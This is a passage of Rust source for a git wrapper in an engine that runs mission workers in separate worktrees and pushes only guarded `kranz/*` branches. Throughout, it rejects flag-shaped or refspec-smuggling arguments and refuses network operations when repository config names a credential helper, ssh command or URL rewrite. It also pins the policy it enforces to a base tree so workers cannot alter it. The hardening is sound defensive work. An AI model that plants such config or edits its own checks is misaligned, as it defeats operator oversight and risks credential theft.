1612 if sha.is_empty() {
1613 return Ok(None);
1614 }
1615 let subject = parts.next().unwrap_or_default().to_string();
1616 let body = parts.next().unwrap_or_default().to_string();
1617 Ok(Some(AddedCommit { sha, subject, body }))
1618 }
1619
1620 /// Whether `path` has a commit after the UTC `since_ymd` calendar day.
1621 ///
1622 /// Used by knowledge-refresh drift checks: a note whose `verified_against`
1623 /// path has history after `last_verified` is check-needed. Empty history
1624 /// (unknown path, or no commits in the window) is `false`, not an error.
1625 /// Flag-shaped/non-repository paths and invalid dates are refused before
1626 /// git runs. A non-zero `git log` is an error, never "unchanged".
1627 pub fn path_changed_since(&self, path: &str, since_ymd: &str) -> Result<bool> {
1628 let candidate = Path::new(path);
1629 if path.starts_with('-')
1630 || path.contains('\0')
1631 || path.is_empty()
1632 || candidate.components().any(|component| {
1633 matches!(
1634 component,
1635 std::path::Component::ParentDir
1636 | std::path::Component::RootDir
1637 | std::path::Component::Prefix(_)
1638 )
1639 })
1640 {
1641 return Err(EngineError::Git(format!(
1642 "refusing path_changed_since with non-repository path {path:?}"
1643 )));
1644 }
1645 let since_date =
1646 chrono::NaiveDate::parse_from_str(since_ymd, "%Y-%m-%d").map_err(|_| {
1647 EngineError::Git(format!(
1648 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1649 ))
1650 })?;
1651 let normalized_since = since_date.format("%Y-%m-%d");
1652 if normalized_since.to_string() != since_ymd {
1653 return Err(EngineError::Git(format!(
1654 "refusing path_changed_since with non YYYY-MM-DD date {since_ymd:?}"
1655 )));
1656 }
1657 // Exclusive of the verification calendar day: `--since=YYYY-MM-DD`
1658 // includes that midnight, so a note verified the same day it was
1659 // committed would false-drift. End-of-day keeps date granularity.
1660 // Frontmatter dates are UTC calendar dates. Pin the offset so a note
1661 // checked near midnight cannot be current locally and drifted in CI.
1662 let since = format!("--since={normalized_since}T23:59:59Z");
1663 let out = self.probe(&["log", "-1", &since, "--format=%H", "--", path])?;
1664 if !out.status.success() {
1665 return Err(EngineError::Git(format!(
1666 "path_changed_since probe failed for {path:?}: {}",
1667 failure_detail(&out)
1668 )));
1669 }
1670 Ok(!String::from_utf8_lossy(&out.stdout).trim().is_empty())
1671 }
1672
1673 /// Create an annotated tag at `HEAD` (`git tag -a <name> -m <message>`).
1674 pub fn tag(&self, name: &str, message: &str) -> Result<()> {
1675 self.run(&["tag", "-a", name, "-m", message])?;
1676 Ok(())
1677 }
1678
1679 // -- worktrees (roadmap M3 parallel workers) ---------------------------
1680 //
1681 // Parallel-within-milestone execution runs each independent feature's
1682 // worker in its own git worktree checked out to a per-feature branch off
1683 // the milestone-start sha, then merges those branches back into the mission
1684 // branch in declared order. The worktrees share this repo's object store
1685 // but have their own working directories, so concurrent workers never step
1686 // on each other's files. All operations shell out with explicit arg vectors
1687 // and std::path, so they stay Windows-safe like the rest of GitRepo.
1688
1689 /// Create a new worktree at `path`, checked out to a NEW branch `branch`
1690 /// created at `from_sha` (`git worktree add -b <branch> <path> <from_sha>`).
1691 ///
1692 /// `path` may be absolute or relative to the repo root; git records the
1693 /// absolute path either way. The branch must not already exist (git's `-b`
1694 /// fails otherwise) — callers use a fresh per-feature branch name.
1695 pub fn add_worktree(&self, path: &Path, branch: &str, from_sha: &str) -> Result<()> {
1696 // Guard against a caller sneaking a flag through the branch/sha slots.
1697 for slot in [branch, from_sha] {
1698 if slot.starts_with('-') {
1699 return Err(EngineError::Git(format!(
1700 "refusing worktree add with flag-shaped argument {slot:?}"
1701 )));
1702 }
1703 }
1704 let args: Vec<OsString> = vec![
1705 "worktree".into(),
1706 "add".into(),
1707 "-b".into(),
1708 branch.into(),
1709 git_path_arg(path).into_os_string(),
1710 from_sha.into(),
1711 ];
1712 self.run_os(&args)?;
1713 Ok(())
1714 }
1715
1716 /// Create a new worktree at `path`, checked out to the EXISTING branch
1717 /// `branch` (`git worktree add <path> <branch>`, no `-b`).
1718 ///
1719 /// `path` may be absolute or relative to the repo root; git records the
1720 /// absolute path either way. `branch` must already exist and must NOT
1721 /// already be checked out in another worktree — git refuses to check the
1722 /// same branch out twice and that failure surfaces as [`EngineError::Git`].
1723 pub fn add_worktree_checkout(&self, path: &Path, branch: &str) -> Result<()> {
1724 // Guard against a caller sneaking a flag through the branch slot.
1725 if branch.starts_with('-') {
1726 return Err(EngineError::Git(format!(
1727 "refusing worktree add with flag-shaped argument {branch:?}"
1728 )));
1729 }
1730 let args: Vec<OsString> = vec![
1731 "worktree".into(),
1732 "add".into(),
1733 git_path_arg(path).into_os_string(),
1734 branch.into(),
1735 ];
1736 self.run_os(&args)?;
1737 Ok(())
1738 }
1739
1740 /// Create a detached worktree at `path` pinned to `commit`.
1741 ///
1742 /// Gated merge uses this to build and validate an integration commit
1743 /// without checking out either moving branch in the primary tree.
1744 pub fn add_detached_worktree(&self, path: &Path, commit: &str) -> Result<()> {
1745 if commit.starts_with('-') {
1746 return Err(EngineError::Git(format!(
1747 "refusing detached worktree add with flag-shaped commit {commit:?}"
1748 )));
1749 }
1750 let args: Vec<OsString> = vec![
1751 "worktree".into(),
1752 "add".into(),
1753 "--detach".into(),
1754 git_path_arg(path).into_os_string(),
1755 commit.into(),
1756 ];
1757 self.run_os(&args)?;
1758 Ok(())
1759 }
1760
1761 /// Remove a worktree at `path` (`git worktree remove --force <path>`),
1762 /// tolerating a worktree that is already gone.
1763 ///
1764 /// `--force` is used so a worktree with a dirty tree (a worker that left
1765 /// uncommitted changes, or a merge that has already consumed its commits)
1766 /// is still removed — leaked worktrees are the failure mode this guards
1767 /// against. When git reports the worktree is not registered / does not
1768 /// exist, that is treated as success (idempotent cleanup). Any OTHER git
1769 /// failure surfaces as [`EngineError::Git`].
1770 pub fn remove_worktree(&self, path: &Path) -> Result<()> {
1771 let args: Vec<OsString> = vec![
1772 "worktree".into(),
1773 "remove".into(),
1774 "--force".into(),
1775 git_path_arg(path).into_os_string(),
1776 ];
1777 let out = self.probe_os(&args)?;
1778 if out.status.success() {
1779 return Ok(());
1780 }
1781 // Already-gone worktrees are fine: git says "is not a working tree" or
1782 // "No such file or directory" / "not a valid path". Match leniently on
1783 // the combined output so cleanup is idempotent across git versions.
1784 let detail = failure_detail(&out).to_lowercase();
1785 let already_gone = detail.contains("is not a working tree")
1786 || detail.contains("not a working tree")
1787 || detail.contains("no such file")
1788 || detail.contains("is not a valid path")
1789 || detail.contains("not a valid path");
1790 if already_gone {
1791 Ok(())
1792 } else {
1793 Err(EngineError::Git(format!(
1794 "git worktree remove {} failed ({}): {}",
1795 path.display(),
1796 out.status,
1797 failure_detail(&out)
1798 )))
1799 }
1800 }
1801
1802 /// Merge `branch` into the current branch with an explicit merge commit
1803 /// (`git merge --no-ff --no-edit <branch>`), reporting clean vs conflict.
1804 ///
1805 /// A clean merge returns [`MergeOutcome::Clean`] with the merge commit on
1806 /// the current branch. On conflict the merge is rolled back with
1807 /// `git merge --abort` (so the working tree is left CLEAN — the porcelain
1808 /// status is empty afterwards) and [`MergeOutcome::Conflict`] is returned,
1809 /// carrying the conflicting paths git named. When git refuses the merge
1810 /// before it ever starts (no `MERGE_HEAD`, e.g. an untracked file in the
1811 /// way) [`MergeOutcome::RefusedPreMerge`] is returned instead, carrying
1812 /// git's verbatim refusal — no abort is attempted, since there is nothing
1813 /// to abort. Only a genuine git failure (git could not be spawned, or the
1814 /// abort itself failed on a real conflict) is an `Err`.
1815 pub fn merge_no_ff(&self, branch: &str) -> Result<MergeOutcome> {
1816 self.merge_no_ff_with_message(branch, None)
1817 }
1818
1819 /// Like [`Self::merge_no_ff`] but supplies an explicit merge commit
1820 /// message, used for kranz-authored trailer metadata.
1821 pub fn merge_no_ff_with_message(
1822 &self,
1823 branch: &str,
1824 message: Option<&str>,
1825 ) -> Result<MergeOutcome> {
1826 if branch.starts_with('-') {
1827 return Err(EngineError::Git(format!(
1828 "refusing to merge flag-shaped ref {branch:?}"
1829 )));
1830 }
1831 let out = match message {
1832 Some(message) => self.probe(&["merge", "--no-ff", "-m", message, branch])?,
1833 None => self.probe(&["merge", "--no-ff", "--no-edit", branch])?,
1834 };
1835 if out.status.success() {
1836 return Ok(MergeOutcome::Clean);
1837 }
1838 // Distinguish a genuine content conflict (MERGE_HEAD exists — a merge
1839 // is actually in progress) from a pre-merge refusal (e.g. an
1840 // untracked file the merge would overwrite), which never creates
1841 // MERGE_HEAD and so has nothing for `git merge --abort` to roll back.
1842 let merge_in_progress = self
1843 .probe(&["rev-parse", "-q", "--verify", "MERGE_HEAD"])?
1844 .status
1845 .success();
1846 if !merge_in_progress {
1847 return Ok(MergeOutcome::RefusedPreMerge {
1848 detail: failure_detail(&out),
1849 });
1850 }
1851 // A conflicting merge leaves the tree mid-merge; collect the unmerged
1852 // paths (best-effort) BEFORE aborting, then abort to restore a clean
1853 // tree so the caller never inherits a half-merged working directory.
1854 let files = self.unmerged_paths().unwrap_or_default();
1855 // `git merge --abort` must succeed to honour the clean-tree contract;
1856 // a failure here is a real error (the tree is left mid-merge).
1857 self.run(&["merge", "--abort"]).map_err(|e| {
1858 EngineError::Git(format!(
1859 "merge of {branch:?} conflicted and `git merge --abort` also failed: {e}"
1860 ))
1861 })?;
1862 Ok(MergeOutcome::Conflict { files })
1863 }
1864
1865 /// Move the current branch to an already-created descendant commit with
1866 /// `git merge --ff-only`. Gated merge uses this after validating the exact
1867 /// integration commit in a scratch worktree.
1868 pub fn fast_forward_to(&self, commit: &str) -> Result<MergeOutcome> {
1869 if commit.starts_with('-') {
1870 return Err(EngineError::Git(format!(
1871 "refusing fast-forward to flag-shaped commit {commit:?}"
1872 )));
1873 }
1874 let out = self.probe(&["merge", "--ff-only", commit])?;
1875 if out.status.success() {
1876 Ok(MergeOutcome::Clean)
1877 } else {
1878 Ok(MergeOutcome::RefusedPreMerge {
1879 detail: failure_detail(&out),
1880 })
1881 }
1882 }
1883
1884 /// Bytes of `path` as it exists on `branch` (`git show <branch>:<path>`),
1885 /// or `None` when the path does not exist on that branch. Used to compare
1886 /// an untracked working-tree file byte-for-byte against the version a
1887 /// merge would bring in, so it can be safely removed when identical.
1888 pub fn show_file(&self, branch: &str, path: &str) -> Result<Option<Vec<u8>>> {
1889 if branch.starts_with('-') {
1890 return Err(EngineError::Git(format!(
1891 "refusing show_file with flag-shaped ref {branch:?}"
1892 )));
1893 }
1894 let spec = format!("{branch}:{path}");
1895 let out = self.probe(&["show", &spec])?;
1896 if out.status.success() {
1897 Ok(Some(out.stdout))
1898 } else {
1899 let detail = failure_detail(&out).to_lowercase();
1900 if detail.contains("does not exist") || detail.contains("exists on disk, but not") {
1901 Ok(None)
1902 } else {
1903 Err(EngineError::Git(format!(
1904 "git show {spec} failed ({}): {}",
1905 out.status,
1906 failure_detail(&out)
1907 )))
1908 }
1909 }
1910 }
1911
1912 /// Whether `path` is tracked in the index (`git ls-files --error-unmatch
1913 /// -- <path>`): exit 0 ⇒ tracked; exit 1 ⇒ untracked/absent (NOT an
1914 /// error); any other status is a real git failure. The Flight Rules
1915 /// trust boundary (KRZ-341, D-A/D-J) uses this to decide whether a pack
1916 /// may activate ENFORCED rules: only tracked, repo-relative pack bytes
1917 /// have provable base history.
1918 pub fn is_tracked(&self, path: &str) -> Result<bool> {
1919 if path.starts_with('-') {
1920 return Err(EngineError::Git(format!(
1921 "refusing is_tracked with flag-shaped path {path:?}"
1922 )));
1923 }
1924 let out = self.probe(&["ls-files", "--error-unmatch", "--", path])?;
1925 match out.status.code() {
1926 Some(0) => Ok(true),
1927 Some(1) => Ok(false),
1928 _ => Err(EngineError::Git(format!(
1929 "git ls-files --error-unmatch -- {path} failed ({}): {}",
1930 out.status,
1931 failure_detail(&out)
1932 ))),
1933 }
1934 }
1935
1936 /// Recursive `git ls-tree -r -l <refname> -- <prefix>`: every entry under
1937 /// `prefix` at `refname` with its git mode, object kind, and blob size.
1938 /// The Flight Rules loader (KRZ-341) reads a standards corpus from a
1939 /// PINNED base tree through this — never from the worktree — so a mission
1940 /// branch edit cannot reshape the policy judging it. A flag-shaped ref
1941 /// or prefix is refused before invoking git (mirroring [`Self::show_file`]).
1942 pub fn ls_tree_recursive(&self, refname: &str, prefix: &str) -> Result<Vec<TreeEntry>> {
1943 for slot in [refname, prefix] {
1944 if slot.starts_with('-') {
1945 return Err(EngineError::Git(format!(
1946 "refusing ls-tree with flag-shaped argument {slot:?}"
1947 )));
1948 }
1949 }
1950 let out = self.probe(&["ls-tree", "-r", "-l", refname, "--", prefix])?;
1951 if !out.status.success() {
1952 return Err(EngineError::Git(format!(
1953 "git ls-tree -r -l {refname} -- {prefix} failed ({}): {}",
1954 out.status,
1955 failure_detail(&out)
1956 )));
1957 }
1958 let stdout = String::from_utf8_lossy(&out.stdout);
1959 let mut entries = Vec::new();
1960 for line in stdout.lines() {
1961 let line = line.trim_end_matches('\r');
1962 if line.is_empty() {
1963 continue;
1964 }
1965 // `<mode> SP <type> SP <oid> SP <size> TAB <path>`; size is `-`
1966 // for non-blobs. A path git had to C-quote (control/non-ASCII
1967 // bytes) keeps its leading `"` here so the consumer fails closed
1968 // instead of misreading an unquoted rendering.
1969 let Some((meta, path)) = line.split_once('\t') else {
1970 return Err(EngineError::Git(format!(
1971 "git ls-tree emitted an unparseable line: {line:?}"
1972 )));
1973 };
1974 let fields: Vec<&str> = meta.split_whitespace().collect();
1975 let [mode, kind, _oid, size] = fields.as_slice() else {
1976 return Err(EngineError::Git(format!(
1977 "git ls-tree emitted an unparseable line: {line:?}"
1978 )));
1979 };
1980 let size = match *size {
1981 "-" => None,
1982 digits => Some(digits.parse::<u64>().map_err(|_| {
1983 EngineError::Git(format!("git ls-tree emitted a bad size in line: {line:?}"))
1984 })?),
1985 };
1986 entries.push(TreeEntry {
1987 mode: (*mode).to_string(),
1988 kind: (*kind).to_string(),
1989 size,
1990 path: path.to_string(),
1991 });
1992 }
1993 Ok(entries)
1994 }
1995
1996 /// Whether `path` is currently untracked in the working tree
1997 /// (`git status --porcelain -- <path>` reports a `??` entry). `false`
1998 /// when the path is tracked, ignored-and-absent, or simply not present.
1999 pub fn is_untracked(&self, path: &str) -> Result<bool> {
2000 let out = self.run(&["status", "--porcelain", "--", path])?;
2001 Ok(out.lines().any(|l| l.starts_with("??")))
2002 }
2003
2004 /// Paths with unmerged (conflicted) entries in the index
2005 /// (`git diff --name-only --diff-filter=U`). Empty when there are none.
2006 fn unmerged_paths(&self) -> Result<Vec<String>> {
2007 let out = self.run(&["diff", "--name-only", "--diff-filter=U"])?;
2008 Ok(out
2009 .lines()
2010 .map(|l| l.trim_end_matches('\r').trim())
2011 .filter(|l| !l.is_empty())
2012 .map(str::to_string)
2013 .collect())
2014 }
2015
2016 /// Absolute paths of every registered worktree (`git worktree list`),
2017 /// including the primary working tree. Used by cleanup to detect leaks.
2018 pub fn list_worktrees(&self) -> Result<Vec<String>> {
2019 // `--porcelain` emits `worktree <abs-path>` lines (plus HEAD/branch
2020 // detail we ignore); parse just the paths for a stable, quoting-free
2021 // listing across git versions.
2022 let out = self.run(&["worktree", "list", "--porcelain"])?;
2023 let mut paths = Vec::new();
2024 for line in out.lines() {
2025 let line = line.trim_end_matches('\r');
2026 if let Some(rest) = line.strip_prefix("worktree ") {
2027 paths.push(rest.trim().to_string());
2028 }
2029 }
2030 Ok(paths)
2031 }
2032
2033 /// Prune administrative records of worktrees whose directories are gone
2034 /// (`git worktree prune`). Safe to call unconditionally after cleanup.
2035 pub fn prune_worktrees(&self) -> Result<()> {
2036 self.run(&["worktree", "prune"])?;
2037 Ok(())
2038 }
2039
2040 /// Delete a local branch, force (`git branch -D <name>`), tolerating a
2041 /// branch that is already gone. Used to tidy per-feature worktree branches
2042 /// after their worktrees are removed (roadmap M3 cleanup).
2043 pub fn delete_branch_force(&self, name: &str) -> Result<()> {
2044 if name.starts_with('-') {
2045 return Err(EngineError::Git(format!(
2046 "refusing to delete flag-shaped branch {name:?}"
2047 )));
2048 }
2049 let out = self.probe(&["branch", "-D", name])?;
2050 if out.status.success() {
2051 return Ok(());
2052 }
2053 let detail = failure_detail(&out).to_lowercase();
2054 if detail.contains("not found") || detail.contains("no branch") {
2055 Ok(())
2056 } else {
2057 Err(EngineError::Git(format!(
2058 "git branch -D {name} failed ({}): {}",
2059 out.status,
2060 failure_detail(&out)
2061 )))
2062 }
2063 }
2064
2065 /// URL of remote `name` (`git remote get-url`), or `Ok(None)` when absent.
2066 pub fn remote_url(&self, name: &str) -> Result<Option<String>> {
2067 if name.starts_with('-') || name.chars().any(char::is_whitespace) {
2068 return Err(EngineError::Git(format!(
2069 "refusing remote_url of malformed remote {name:?}"
2070 )));
2071 }
2072 let out = self.probe(&["remote", "get-url", name])?;
2073 if !out.status.success() {
2074 return Ok(None);
2075 }
2076 let url = String::from_utf8_lossy(&out.stdout).trim().to_string();
2077 if url.is_empty() {
2078 Ok(None)
2079 } else {
2080 Ok(Some(url))
2081 }
2082 }
2083
2084 /// Whether `remote` advertises branch `branch` (`git ls-remote --heads`).
2085 /// Read-only network probe — never updates local refs.
2086 pub fn remote_has_branch(&self, remote: &str, branch: &str) -> Result<bool> {
2087 for slot in [remote, branch] {
2088 if slot.starts_with('-') || slot.contains(':') || slot.chars().any(char::is_whitespace)
2089 {
2090 return Err(EngineError::Git(format!(
2091 "refusing remote_has_branch with malformed ref {slot:?}"
2092 )));
2093 }
2094 }
2095 // Network mode: the operator's ~/.gitconfig stays in force (an
2096 // ls-remote against an https host needs the same credential helper a
2097 // push does) and this repo's own config is pre-flighted first.
2098 let out = self.probe_network(&["ls-remote", "--heads", remote, branch])?;
2099 if !out.status.success() {
2100 return Err(EngineError::Git(format!(
2101 "git ls-remote --heads {remote} {branch} failed ({}): {}",
2102 out.status,
2103 failure_detail(&out)
2104 )));
2105 }
2106 let stdout = String::from_utf8_lossy(&out.stdout);
2107 let needle = format!("refs/heads/{branch}");
2108 Ok(stdout.lines().any(|line| line.contains(&needle)))
2109 }
2110
2111 /// Whether a remote named `name` is configured (`git remote get-url`).
2112 ///
2113 /// A probe, not an assertion: returns `Ok(false)` when the remote is
2114 /// absent and only errors when git itself cannot be spawned. Callers use
2115 /// this to decide whether a cloud mission has anywhere to push to before
2116 /// calling [`GitRepo::push_mission_branch`].
2117 pub fn has_remote(&self, name: &str) -> Result<bool> {
2118 Ok(self.remote_url(name)?.is_some())
2119 }
2120
2121 /// Push a single `kranz/*` mission ref to `remote` — **the one and only
2122 /// push path in Kranz, and it is cloud-opt-in.**
2123 ///
2124 /// ## Local default: Kranz never pushes (plan §4.4)
2125 ///
2126 /// Git is the source of truth, but on a local host Kranz writes only to the
2127 /// working tree and local refs — it never contacts a remote. No mission
2128 /// loop or server route calls this method. The sole caller is the explicit
2129 /// `kranz exec --push <REMOTE>` M6 cloud handoff; nothing about the local
2130 /// default changes unless a human or cloud job supplies that flag.
2131 ///
2132 /// ## Guard rails (why this is safe to expose)
2133 ///
2134 /// - The branch **must** begin with `kranz/` — mission branches are
2135 /// `kranz/mission-<id>` and mission tags live under `kranz/<id>/…`.
2136 /// Anything else (`main`, `master`, `HEAD`, a bare sha, `--force`, or a
2137 /// refspec smuggling a second ref) is rejected with
2138 /// [`EngineError::Git`] **before any git process runs** — no network.
2139 /// - `remote` must be an already-configured, non-flag-shaped remote name.
2140 /// The push is a plain `git push <remote> <branch>`: never `--force`,
2141 /// `--mirror`, a custom receive-pack, a `src:dst` refspec, `main`, or a
2142 /// merge. The human still reviews the `kranz/*` branch and opens the PR.
2143 /// - On failure git's stderr is surfaced verbatim via [`EngineError::Git`],
2144 /// so a bad deploy key or a rejected non-fast-forward shows up in the
2145 /// mission log with git's own words.
2146 ///
2147 /// The deploy key / GitHub App backing `remote` should itself be scoped to
2148 /// `kranz/*` refs (see docs/deploy.md); this guard is defence in depth, not
2149 /// the only line of defence.
2150 pub fn push_mission_branch(&self, remote: &str, branch: &str) -> Result<()> {
2151 // `remote` occupies an option-parsed argv slot before `branch`; a
2152 // flag-shaped value could otherwise turn this method's supposedly
2153 // plain push into `--force`, `--mirror`, or a custom receive-pack.
2154 // Cloud handoff accepts configured remote NAMES only, never an
2155 // arbitrary URL or path supplied at the CLI boundary.
2156 if remote.is_empty()
2157 || remote.starts_with('-')
2158 || remote.contains(':')
2159 || remote.chars().any(char::is_whitespace)
2160 {
2161 return Err(EngineError::Git(format!(
2162 "refusing to push to malformed remote {remote:?}: --push accepts a plain configured remote name"
2163 )));
2164 }
2165 // Defence in depth: refuse anything that is not a mission ref *before*
2166 // spawning git, so a mis-wired caller can never push main or a merge.
2167 // `kranz/` (with the slash) is required so a branch literally named
2168 // "kranz" or "kranzfoo" cannot slip through.
2169 if !branch.starts_with("kranz/") {
2170 return Err(EngineError::Git(format!(
2171 "refusing to push non-kranz ref {branch:?}: push_mission_branch \
2172 only pushes kranz/* mission refs, never main or merges"
2173 )));
2174 }
2175 // Reject characters that could turn a single branch name into extra
2176 // arguments or a src:dst refspec. A legitimate mission ref never
2177 // contains whitespace, a colon, or a leading dash.
2178 if branch.contains(':')
2179 || branch.starts_with('-')
2180 || branch.chars().any(char::is_whitespace)
2181 {
2182 return Err(EngineError::Git(format!(
2183 "refusing to push malformed ref {branch:?}: a mission branch is \
2184 a plain kranz/* name with no refspec, flags, or whitespace"
2185 )));
2186 }
2187 // Report every armed network key before the remote lookup's narrower
2188 // local-execution guard runs. run_network rechecks before transport.
2189 self.refuse_network_on_armed_local_config()?;
2190 if self.remote_url(remote)?.is_none() {
2191 return Err(EngineError::Git(format!(
2192 "refusing to push to unconfigured remote {remote:?}: add and review the remote before cloud handoff"
2193 )));
2194 }
2195 // Plain push to one already-configured remote of one local branch to
2196 // the same-named remote branch.
2197 // Never --force; never a refspec; never main.
2198 //
2199 // Network mode ([`Self::run_network`]): the tree being pushed is the
2200 // one the worker just wrote, so this refuses outright if the
2201 // repository's own config carries a credential helper, an ssh
2202 // command, a URL rewrite or a transport hook — while leaving the
2203 // operator's `~/.gitconfig` in force, which is what makes an https
2204 // push find a credential at all.
2205 self.run_network(&["push", remote, branch])?;
2206 Ok(())
2207 }
2208
2209 /// Guarantee commits can be made: PIN `user.name` / `user.email` into the
2210 /// repo's LOCAL config when they are not already set there — to whatever
2211 /// the operator's config resolves them to, falling back to
2212 /// `kranz <kranz@localhost>` when nothing resolves at all. A local
2213 /// identity is never overwritten, and missions never fail on hosts
2214 /// without a global git identity.
2215 ///
2216 /// Pinning into local scope (rather than only writing the fallback pair
2217 /// when nothing resolved) is what keeps commit authorship unchanged now
2218 /// that hardened invocations no longer read the operator's `~/.gitconfig`
2219 /// (audit H3 hardening, [`UserConfig::Ignored`]): without it, every
2220 /// engine commit on a host whose identity lives only in the global file
2221 /// would silently be restamped `kranz <kranz@localhost>`.
2222 pub fn ensure_identity(&self) -> Result<()> {
2223 for (key, fallback) in [("user.name", "kranz"), ("user.email", "kranz@localhost")] {
2224 let local = self.probe(&["config", "--local", "--get", key])?;
2225 let set_locally =
2226 local.status.success() && !String::from_utf8_lossy(&local.stdout).trim().is_empty();
2227 if set_locally {
2228 continue;
2229 }
2230 let resolved = self.probe_with_user_config(&["config", "--get", key])?;
2231 let value = String::from_utf8_lossy(&resolved.stdout).trim().to_string();
2232 let value = if resolved.status.success() && !value.is_empty() {
2233 value
2234 } else {
2235 fallback.to_string()
2236 };
2237 // `git config <key> <value>` writes to the local repo config.
2238 self.run(&["config", key, &value])?;
2239 }
2240 Ok(())
2241 }
2242
2243 /// The git identity this repo resolves to right now: `(user.name,
2244 /// user.email)` from any config scope (local/global/system) visible to
2245 /// the calling process's environment, falling back to the same
2246 /// `kranz`/`kranz@localhost` pair [`Self::ensure_identity`] would write when
2247 /// neither key resolves.
2248 ///
2249 /// Used to carry the *engine's* resolved identity into a worker session
2250 /// whose relocated `HOME` can no longer see the operator's global
2251 /// `~/.gitconfig` (see `GIT_AUTHOR_NAME` etc. injection in
2252 /// `runner::seed_worker_env`).
2253 pub fn resolved_identity(&self) -> Result<(String, String)> {
2254 let resolve = |key: &str, fallback: &str| -> Result<String> {
2255 let probe = self.probe_with_user_config(&["config", "--get", key])?;
2256 let value = String::from_utf8_lossy(&probe.stdout).trim().to_string();
2257 if probe.status.success() && !value.is_empty() {
2258 Ok(value)
2259 } else {
2260 Ok(fallback.to_string())
2261 }
2262 };
2263 let name = resolve("user.name", "kranz")?;
2264 let email = resolve("user.email", "kranz@localhost")?;
2265 Ok((name, email))
2266 }
2267
2268 // -- plumbing ----------------------------------------------------------
2269
2270 /// Run git and return the raw `Output` without checking the exit status
2271 /// (for existence/is-set probes). Errors only when git cannot be spawned.
2272 fn probe(&self, args: &[&str]) -> Result<Output> {
2273 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2274 self.probe_os(&os)
2275 }
2276
2277 fn probe_os(&self, args: &[OsString]) -> Result<Output> {
2278 self.spawn_git(args, UserConfig::Ignored, ExecFlags::All)
2279 }
2280
2281 /// [`Self::probe`] for the two identity reads that MUST still see the
2282 /// operator's `~/.gitconfig` (see [`UserConfig::Visible`]).
2283 fn probe_with_user_config(&self, args: &[&str]) -> Result<Output> {
2284 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2285 self.spawn_git(&os, UserConfig::Visible, ExecFlags::All)
2286 }
2287
2288 /// Run a git operation that CONTACTS A REMOTE, demanding success.
2289 ///
2290 /// Two things differ from [`Self::run`], and they are the same decision
2291 /// seen from two sides (audit 2026-09-01 F-11): the operator's
2292 /// `~/.gitconfig` stays in force (without it an https push has no
2293 /// credential source and an `insteadOf` convention silently sends the
2294 /// push to the un-rewritten URL), and the repository's own config — the
2295 /// scope a worker can write — is pre-flighted first and the operation
2296 /// refused if it carries anything that names a program, a credential, or
2297 /// a URL rewrite.
2298 fn run_network(&self, args: &[&str]) -> Result<String> {
2299 self.refuse_network_on_armed_local_config()?;
2300 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2301 let out = self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)?;
2302 check_status(&os, out)
2303 }
2304
2305 /// [`Self::run_network`] without the success demand, for network probes.
2306 fn probe_network(&self, args: &[&str]) -> Result<Output> {
2307 self.refuse_network_on_armed_local_config()?;
2308 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2309 self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)
2310 }
2311
2312 fn spawn_git(
2313 &self,
2314 args: &[OsString],
2315 user_config: UserConfig,
2316 exec_flags: ExecFlags,
2317 ) -> Result<Output> {
2318 let mut cmd = Command::new("git");
2319 if let Some(flags) = &self.exec_disable_flags {
2320 if user_config == UserConfig::Ignored
2321 && exec_flags != ExecFlags::None
2322 && !args.first().is_some_and(|arg| arg == "config")
2323 {
2324 self.refuse_new_exec_configuration(flags)?;
2325 }
2326 if user_config != UserConfig::KeptForNetwork {
2327 clear_local_git_env(&mut cmd, user_config);
2328 }
2329 // `-c` must precede the subcommand; the segment neutralizes every
2330 // executable config surface this handle promises to cover (see
2331 // with_hooks_disabled / build_exec_disable_flags).
2332 cmd.args(exec_flags.select(flags));
2333 // `-c` overrides only the keys it names. `GIT_CONFIG_PARAMETERS`
2334 // and a `GIT_CONFIG_COUNT` triple inherited from the engine's own
2335 // environment would inject further config UNDER those overrides,
2336 // so they are cleared on every hardened invocation regardless of
2337 // scope (the idiom `contract_lint::lint_env` uses from the other
2338 // side).
2339 cmd.env_remove("GIT_CONFIG_PARAMETERS");
2340 cmd.env_remove("GIT_CONFIG_COUNT");
2341 for (key, value) in hardened_config_env(user_config)? {
2342 cmd.env(key, value);
2343 }
2344 }
2345 if self.exec_disable_flags.is_some() && args.first().is_some_and(|arg| arg == "diff") {
2346 cmd.args(["diff", "--no-ext-diff", "--no-textconv"])
2347 .args(&args[1..]);
2348 } else {
2349 cmd.args(args);
2350 }
2351 cmd.current_dir(&self.root).stdin(Stdio::null());
2352 process::output(
2353 cmd,
2354 process::Limits::for_command(args, user_config == UserConfig::KeptForNetwork),
2355 )
2356 .map_err(|e| EngineError::Git(format!("failed to invoke git {}: {e}", render_args(args))))
2357 }
2358
2359 /// Run git, demanding success; returns raw stdout (callers trim as needed).
2360 fn run(&self, args: &[&str]) -> Result<String> {
2361 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2362 self.run_os(&os)
2363 }
2364
2365 fn run_os(&self, args: &[OsString]) -> Result<String> {
2366 let out = self.probe_os(args)?;
2367 check_status(args, out)
2368 }
2369}
2370
2371/// Which entries of a hardened handle's `-c` segment one invocation carries.
2372#[derive(Debug, Clone, Copy, PartialEq, Eq)]
2373enum ExecFlags {
2374 /// The whole segment. Every local operation.
2375 All,
2376 /// The segment minus the entries that break a REAL remote: an empty
2377 /// `core.sshCommand` makes git exec the empty string instead of falling
2378 /// back to `ssh` (probed 2026-09-02), and an empty `credential.helper`
2379 /// resets away the operator's own helper. The surface those two cover in
2380 /// the repo scope is closed by
2381 /// [`GitRepo::refuse_network_on_armed_local_config`] instead.
2382 NetworkSafe,
2383 /// The segment minus `core.fsmonitor=`, for the two index-flag
2384 /// detections (see [`GitRepo::run_seeing_fsmonitor`]).
2385 SeeingFsmonitor,
2386 /// No `-c` entries at all — the config read that decides whether a
2387 /// network operation may run, which must observe the REPOSITORY's config
2388 /// rather than the overrides this handle is about to apply.
2389 None,
2390}
2391
2392/// `-c` entry that resets git's credential-helper list (an empty helper is
2393/// git's documented reset, and the command-line scope is read last).
2394const CREDENTIAL_HELPER_RESET: &str = "credential.helper=";
2395/// `-c` entry that blanks a planted `core.sshCommand`.
2396const SSH_COMMAND_OVERRIDE: &str = "core.sshCommand=";
2397
2398impl ExecFlags {
2399 /// The `-c key=value` pairs this mode keeps out of `flags` (which is
